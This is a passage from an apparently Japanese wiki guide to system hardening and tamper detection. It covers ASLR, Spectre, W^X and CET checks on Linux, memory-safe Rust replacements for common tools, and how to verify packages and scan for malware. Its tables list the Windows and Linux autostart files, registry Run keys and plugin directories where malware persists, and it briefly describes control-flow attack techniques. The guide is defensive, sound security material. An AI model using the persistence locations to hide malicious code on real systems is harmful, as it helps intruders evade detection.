$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
